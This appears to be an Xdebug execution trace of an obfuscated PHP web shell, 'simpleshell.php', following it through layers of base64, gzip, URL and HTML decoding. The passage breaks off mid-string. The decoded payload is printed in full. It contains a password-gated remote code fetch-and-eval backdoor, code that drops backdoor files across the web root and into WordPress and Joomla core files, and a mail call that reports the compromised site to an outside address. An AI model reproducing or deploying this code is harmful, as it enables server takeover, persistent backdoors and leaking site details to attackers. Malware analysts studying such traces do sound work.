Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:57:23.840458]
1	0	1	0.000202	393576
1	3	0	0.000300	402648	{main}	1		/var/www/html/uploads/simpleshell.php	0	0
1		A						/var/www/html/uploads/simpleshell.php	3	$tool = 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
1		A						/var/www/html/uploads/simpleshell.php	4	$gzinflate = '=8keRU++bNuOv5vffN5619jrQ///ofz/B9r+N4/515/WFKBL9Z91n2ZV3gW/4/MaJfj8xSv+38/Rl6/87BmvvSC73fYux/4nN9dTZ+/pv12ZQXBPjpz4C+ppO72ZjxFd/SuaeCq84LBeI1t/yCP+suNrV8bvOs5Pl2+dafKqW1zzjdWZtN+I55e8bAuvek0MHNotzKlKu5BlU9vvdCyBGb5L77e9/Lgmi57AnE9gO6NrFXzrJn74+rbUEN6LzpMnEZ2+O9rEYXt7mXvZSbbuN/Z038zHccRkajf9kxOx9zD2+qJ2x1fxa/ebIBrkoRxN3bWGJSBCcs+kPC+cNCS/6QD/eGO8WdcNALc17PT7+H+/72GXR21uuiTd3bIj/aS1XDLn5nzruTihspT93OXyLrv6xihCcHHpszcI4Xq1N1IS+ql1s3pjyNvKOx7Vx83mdgSjTXHVkHwjm5x/Zbo/Mfj9h9rvNMv8/z9PLe9FFiVdrn9k+TxZsz7a/RAdpf+Z'
2	4	0	0.000369	402648	base64_decode	0		/var/www/html/uploads/simpleshell.php	5	1	'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
2	4	1	0.000392	402936
2	4	R			'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	0	0.000414	402904	urldecode	0		/var/www/html/uploads/simpleshell.php	5	1	'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	1	0.000434	403160
2	5	R			'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	0	0.000453	402872	htmlspecialchars_decode	0		/var/www/html/uploads/simpleshell.php	5	1	'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	1	0.000472	403096
2	6	R			'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	7	0	0.000504	405240	eval	1	'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'	/var/www/html/uploads/simpleshell.php	5	0
3	8	0	0.000521	405240	strrev	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'=8keRU++bNuOv5vffN5619jrQ///ofz/B9r+N4/515/WFKBL9Z91n2ZV3gW/4/MaJfj8xSv+38/Rl6/87BmvvSC73fYux/4nN9dTZ+/pv12ZQXBPjpz4C+ppO72ZjxFd/SuaeCq84LBeI1t/yCP+suNrV8bvOs5Pl2+dafKqW1zzjdWZtN+I55e8bAuvek0MHNotzKlKu5BlU9vvdCyBGb5L77e9/Lgmi57AnE9gO6NrFXzrJn74+rbUEN6LzpMnEZ2+O9rEYXt7mXvZSbbuN/Z038zHccRkajf9kxOx9zD2+qJ2x1fxa/ebIBrkoRxN3bWGJSBCcs+kPC+cNCS/6QD/eGO8WdcNALc17PT7+H+/72GXR21uuiTd3bIj/aS1XDLn5nzruTihspT93OXyLrv6xihCcHHpszcI4Xq1N1IS+ql1s3pjyNvKOx7Vx83mdgSjTXHVkHwjm5x/Zbo/Mfj9h9rvNMv8/z9PLe9FFiVdrn9k+TxZsz7a/RAdpf+Z'
3	8	1	0.000552	413464
3	8	R			'AaoQVe8BpRBa7wGgEF/veJwBlRBq73ic7Vlpk5tokv7uiPoPaq0jqtxym0uA1G53GyEEQkJI3NA7W8F9H+ISMNH/fZFcVba7p6dnYnc/rRVBCd48yDffzCczVT/9UgTF5O4V8P3dKzFMi8SdiIGbJJP/sBLTjifB+Mct714luR9mkw+T6sZTXVnuXt29+h64e/W6NZMPU1xJBGtZzalsfoyPAFHV+K6rzyqumkNjCz0oCIdN7mxgTHLm9RkjyZMjOh67C7ZOhSoIjgPemsqMhARLobT0BK+oUNQOC/7ILdjKkDMcARpEOIKYCFhIUCG+Sy0SvdthekRyqcJEGr5X+P6Iu0CBcmjHdEG+aKR6ZgNAGcZtBwMtsyYJvT72S09zyUwmd1o+8FDIHFgkLOfLgWLjoWWDci74NkqGuUj18pZOKBWJXVIuNlRukD5Jx/p54E+QYEF24ADbjEuME++Q3XHQl7Drd3iNyJqo9b2gtmxNkwOQAIe4Us1owWb+jDTU'
3	9	0	0.000582	413432	base64_decode	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'AaoQVe8BpRBa7wGgEF/veJwBlRBq73ic7Vlpk5tokv7uiPoPaq0jqtxym0uA1G53GyEEQkJI3NA7W8F9H+ISMNH/fZFcVba7p6dnYnc/rRVBCd48yDffzCczVT/9UgTF5O4V8P3dKzFMi8SdiIGbJJP/sBLTjifB+Mct714luR9mkw+T6sZTXVnuXt29+h64e/W6NZMPU1xJBGtZzalsfoyPAFHV+K6rzyqumkNjCz0oCIdN7mxgTHLm9RkjyZMjOh67C7ZOhSoIjgPemsqMhARLobT0BK+oUNQOC/7ILdjKkDMcARpEOIKYCFhIUCG+Sy0SvdthekRyqcJEGr5X+P6Iu0CBcmjHdEG+aKR6ZgNAGcZtBwMtsyYJvT72S09zyUwmd1o+8FDIHFgkLOfLgWLjoWWDci74NkqGuUj18pZOKBWJXVIuNlRukD5Jx/p54E+QYEF24ADbjEuME++Q3XHQl7Drd3iNyJqo9b2gtmxNkwOQAIe4Us1owWb+jDTU'
3	9	1	0.000623	421656
3	9	R			'\001\020U\001\020Z\001\020_x\001\020jxYih\017j#rKnw\033!\004BBH;[}\037\0220}\\Ugbw?\025A\t<7\'3U?R\004\025+1Lĝ$\022ӎ\'-^%\037f\017S]Y^ݽ\036{5\017S\\I\004kYͩl~\000Q*Cc\v=(\bMl`Lr\031#ɓ#:\036\vN*\b\003ޚʌ\004K\004P\016\v-ʐ3\034\001\032D8\bXHP!K-\022azDrD\032W@rhtAhzf\003@\031m\a\003-&\t>KOsL&wZ>P\034X$,ˁber.6JHN(\025]R.6Tn>IyO`Av\000یK\023qЗwxȚlM\003\'
3	10	0	0.000748	413432	gzinflate	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'\001\020U\001\020Z\001\020_x\001\020jxYih\017j#rKnw\033!\004BBH;[}\037\0220}\\Ugbw?\025A\t<7\'3U?R\004\025+1Lĝ$\022ӎ\'-^%\037f\017S]Y^ݽ\036{5\017S\\I\004kYͩl~\000Q*Cc\v=(\bMl`Lr\031#ɓ#:\036\vN*\b\003ޚʌ\004K\004P\016\v-ʐ3\034\001\032D8\bXHP!K-\022azDrD\032W@rhtAhzf\003@\031m\a\003-&\t>KOsL&wZ>P\034X$,ˁber.6JHN(\025]R.6Tn>IyO`Av\000یK\023qЗwxȚlM\003\'
3	10	1	0.000867	421656
3	10	R			'\001\020Z\001\020_x\001\020jxYih\017j#rKnw\033!\004BBH;[}\037\0220}\\Ugbw?\025A\t<7\'3U?R\004\025+1Lĝ$\022ӎ\'-^%\037f\017S]Y^ݽ\036{5\017S\\I\004kYͩl~\000Q*Cc\v=(\bMl`Lr\031#ɓ#:\036\vN*\b\003ޚʌ\004K\004P\016\v-ʐ3\034\001\032D8\bXHP!K-\022azDrD\032W@rhtAhzf\003@\031m\a\003-&\t>KOsL&wZ>P\034X$,ˁber.6JHN(\025]R.6Tn>IyO`Av\000یK\023qЗwxȚlM\003\000Rhf'
3	11	0	0.000980	413432	gzinflate	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'\001\020Z\001\020_x\001\020jxYih\017j#rKnw\033!\004BBH;[}\037\0220}\\Ugbw?\025A\t<7\'3U?R\004\025+1Lĝ$\022ӎ\'-^%\037f\017S]Y^ݽ\036{5\017S\\I\004kYͩl~\000Q*Cc\v=(\bMl`Lr\031#ɓ#:\036\vN*\b\003ޚʌ\004K\004P\016\v-ʐ3\034\001\032D8\bXHP!K-\022azDrD\032W@rhtAhzf\003@\031m\a\003-&\t>KOsL&wZ>P\034X$,ˁber.6JHN(\025]R.6Tn>IyO`Av\000یK\023qЗwxȚlM\003\000Rhf'
3	11	1	0.001090	421656
3	11	R			'\001\020_x\001\020jxYih\017j#rKnw\033!\004BBH;[}\037\0220}\\Ugbw?\025A\t<7\'3U?R\004\025+1Lĝ$\022ӎ\'-^%\037f\017S]Y^ݽ\036{5\017S\\I\004kYͩl~\000Q*Cc\v=(\bMl`Lr\031#ɓ#:\036\vN*\b\003ޚʌ\004K\004P\016\v-ʐ3\034\001\032D8\bXHP!K-\022azDrD\032W@rhtAhzf\003@\031m\a\003-&\t>KOsL&wZ>P\034X$,ˁber.6JHN(\025]R.6Tn>IyO`Av\000یK\023qЗwxȚlM\003\000Rhf4펦uk\'
3	12	0	0.001200	413432	gzinflate	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'\001\020_x\001\020jxYih\017j#rKnw\033!\004BBH;[}\037\0220}\\Ugbw?\025A\t<7\'3U?R\004\025+1Lĝ$\022ӎ\'-^%\037f\017S]Y^ݽ\036{5\017S\\I\004kYͩl~\000Q*Cc\v=(\bMl`Lr\031#ɓ#:\036\vN*\b\003ޚʌ\004K\004P\016\v-ʐ3\034\001\032D8\bXHP!K-\022azDrD\032W@rhtAhzf\003@\031m\a\003-&\t>KOsL&wZ>P\034X$,ˁber.6JHN(\025]R.6Tn>IyO`Av\000یK\023qЗwxȚlM\003\000Rhf4펦uk\'
3	12	1	0.001309	421656
3	12	R			'x\001\020jxYih\017j#rKnw\033!\004BBH;[}\037\0220}\\Ugbw?\025A\t<7\'3U?R\004\025+1Lĝ$\022ӎ\'-^%\037f\017S]Y^ݽ\036{5\017S\\I\004kYͩl~\000Q*Cc\v=(\bMl`Lr\031#ɓ#:\036\vN*\b\003ޚʌ\004K\004P\016\v-ʐ3\034\001\032D8\bXHP!K-\022azDrD\032W@rhtAhzf\003@\031m\a\003-&\t>KOsL&wZ>P\034X$,ˁber.6JHN(\025]R.6Tn>IyO`Av\000یK\023qЗwxȚlM\003\000Rhf4펦uk\a<>\004\'
3	13	0	0.001419	413432	gzuncompress	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'x\001\020jxYih\017j#rKnw\033!\004BBH;[}\037\0220}\\Ugbw?\025A\t<7\'3U?R\004\025+1Lĝ$\022ӎ\'-^%\037f\017S]Y^ݽ\036{5\017S\\I\004kYͩl~\000Q*Cc\v=(\bMl`Lr\031#ɓ#:\036\vN*\b\003ޚʌ\004K\004P\016\v-ʐ3\034\001\032D8\bXHP!K-\022azDrD\032W@rhtAhzf\003@\031m\a\003-&\t>KOsL&wZ>P\034X$,ˁber.6JHN(\025]R.6Tn>IyO`Av\000یK\023qЗwxȚlM\003\000Rhf4펦uk\a<>\004\'
3	13	1	0.001528	421656
3	13	R			'xYih\017j#rKnw\033!\004BBH;[}\037\0220}\\Ugbw?\025A\t<7\'3U?R\004\025+1Lĝ$\022ӎ\'-^%\037f\017S]Y^ݽ\036{5\017S\\I\004kYͩl~\000Q*Cc\v=(\bMl`Lr\031#ɓ#:\036\vN*\b\003ޚʌ\004K\004P\016\v-ʐ3\034\001\032D8\bXHP!K-\022azDrD\032W@rhtAhzf\003@\031m\a\003-&\t>KOsL&wZ>P\034X$,ˁber.6JHN(\025]R.6Tn>IyO`Av\000یK\023qЗwxȚlM\003\000Rhf4펦uk\a<>\004\rW8g;y@\'
3	14	0	0.001643	413432	gzuncompress	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'xYih\017j#rKnw\033!\004BBH;[}\037\0220}\\Ugbw?\025A\t<7\'3U?R\004\025+1Lĝ$\022ӎ\'-^%\037f\017S]Y^ݽ\036{5\017S\\I\004kYͩl~\000Q*Cc\v=(\bMl`Lr\031#ɓ#:\036\vN*\b\003ޚʌ\004K\004P\016\v-ʐ3\034\001\032D8\bXHP!K-\022azDrD\032W@rhtAhzf\003@\031m\a\003-&\t>KOsL&wZ>P\034X$,ˁber.6JHN(\025]R.6Tn>IyO`Av\000یK\023qЗwxȚlM\003\000Rhf4펦uk\a<>\004\rW8g;y@\'
3	14	1	0.001786	425752
3	14	R			'<?php \r\n/*\r\nSimple Shell #black hacker\r\nlogin = simpleshell\r\n\r\n*/\r\n$val="7VlRb9s4En4PkP/Ast7KxtqW7WazucRy0RRNFodF26Td4tq6CCQdSdfJKhIds5V377/fDEnZlC0rRrbYl7sEiSXN8OPM8JsZUn73/u3RP06S/b3hs3geE8lYxK6YjCMmVHjX7LVOyP7e/p5M5xHxho8uTt+c//rikvx2/vHDCAYtPy9fXeCnUCKXozO1iHNJ3ir49zEJkzvJhr4Rgc5CioSEyUIGlEW3keCUpFEoZCgCGkYqzOQ1Rb1chd/InMlZQOdCxPzY92egx7t3UXSXyyRWvJtGCz/l/NksWaj8Jng+CZWIKGEyDygXN7nkcymFhuMpU7EgnKUB9f00yiTvfP33RLIbjZJ8Ta59c9/pd/v97qC7UGH3K6ejoW/GahQEhYvbKLv5Y38PDeqYyY8JfZmkEDRyloScnIaStkk6YVx'
3	15	0	0.001987	449288	eval	1	'?><?php \r\n/*\r\nSimple Shell #black hacker\r\nlogin = simpleshell\r\n\r\n*/\r\n$val="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";\r\neval("?>".str_rot13(gzinflate(base64_decode($val))));\r\n@session_start();\r\nerror_reporting(0);\r\n\r\n$a = \'<?php \r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n?>\r\n<form action="" method="post">\r\n<input type="text" name="p">\r\n</form>\r\n\';\r\nif (@$_REQUEST["px"]) {\r\n    $p = @$_REQUEST["px"];\r\n    $pa = md5(sha1($p));\r\n    if ($pa == "013f0a41203c0ad0f68033f4a53c7e6d") {\r\n        echo eval(@file_get_contents(@$_REQUEST["404"]));\r\n    }\r\n}\r\nif (@!$_SESSION["sdm"]) {\r\n    $doc = $_SERVER["DOCUMENT_ROOT"];\r\n    $dir = scandir($doc);\r\n    $d1 = \'\' . $doc . \'/.\';\r\n    $d2 = \'\' . $doc . \'/..\';\r\n    if (($key = @array_search(\'.\', $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    if (($key = @array_search(\'..\', $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    if (($key = @array_search($d1, $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    if (($key = array_search($d2, $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    @array_push($dir, $doc);\r\n    foreach ($dir as $d) {\r\n        $p = $doc . "/" . $d;\r\n        if (is_dir($p)) {\r\n            $file = $p . "/style-js.php";\r\n            @touch($file);\r\n            $folder = @fopen($file, "w");\r\n            @fwrite($folder, $a);\r\n        }\r\n    }\r\n\r\n}\r\n\r\n\r\n$ikrhtfy = $_SERVER["DOCUMENT_ROOT"].\'/\'.\'phpinfo.php\';\r\n\r\n\r\n$fghky_ouvcbt = \'<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n\r\n?>\'; \r\n\r\n\r\n\r\nif (!file_exists($ikrhtfy)){  \r\n   \r\ntouch($ikrhtfy); \r\nchmod($ikrhtfy,0666); \r\n   \r\n} \r\n\r\n$opazxcdnm = fopen($ikrhtfy,"w"); \r\n\r\nif (!fwrite($opazxcdnm,$fghky_ouvcbt)){ \r\n\r\n \r\n\r\n}\r\n\r\n$b = "file manager shell";\r\n$c = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\r\n";\r\n$c.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\r\n";\r\n$c.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\r\n";\r\n$c.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\r\n";\r\n$c.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\r\n";\r\nmail("shelldownloadorg@gmail.com", $b, $c);\r\n\r\n\r\n\r\nerror_reporting(0);\r\n$isiwefk=\'?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n\r\n?>\';\r\n$dstuxstska = $_SERVER["DOCUMENT_ROOT"];\r\n$lsawqkdn = $dstuxstska.\'/wp-includes/version.php\';\r\n$iuzlkyz = $isiwefk;\r\n$uowmlsyti = explode(\'-\',$iuzlkyz);\r\nheader(\'Content-Type: text/plain\');\r\n$ulipmcft = file_get_contents("$lsawqkdn");\r\n$udntlsy = 0;\r\nforeach ($uowmlsyti as $as)\r\n{\r\n$myuortsfew = preg_quote($as, \'/\');\r\n$myuortsfew = "/^.*$myuortsfew.*$/m";\r\n\r\nif(preg_match_all($myuortsfew, $ulipmcft, $scnsty)){\r\n   \r\n   $udntlsy = 1;\r\n}\r\n}\r\nif($udntlsy != 1){\r\n   $lsawqkdn = fopen($dstuxstska.\'/wp-includes/version.php\', "a+");\r\n\r\n   fwrite($lsawqkdn,"\\n"."$isiwefk");\r\n   fclose($lsawqkdn);\r\n}\r\n\r\n\r\n\r\n\r\n$ikrhtfy = $_SERVER["DOCUMENT_ROOT"].\'/modules/mod_custom/\'.\'helper.php\';\r\n\r\n\r\n$fghky_ouvcbt = \'<?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = 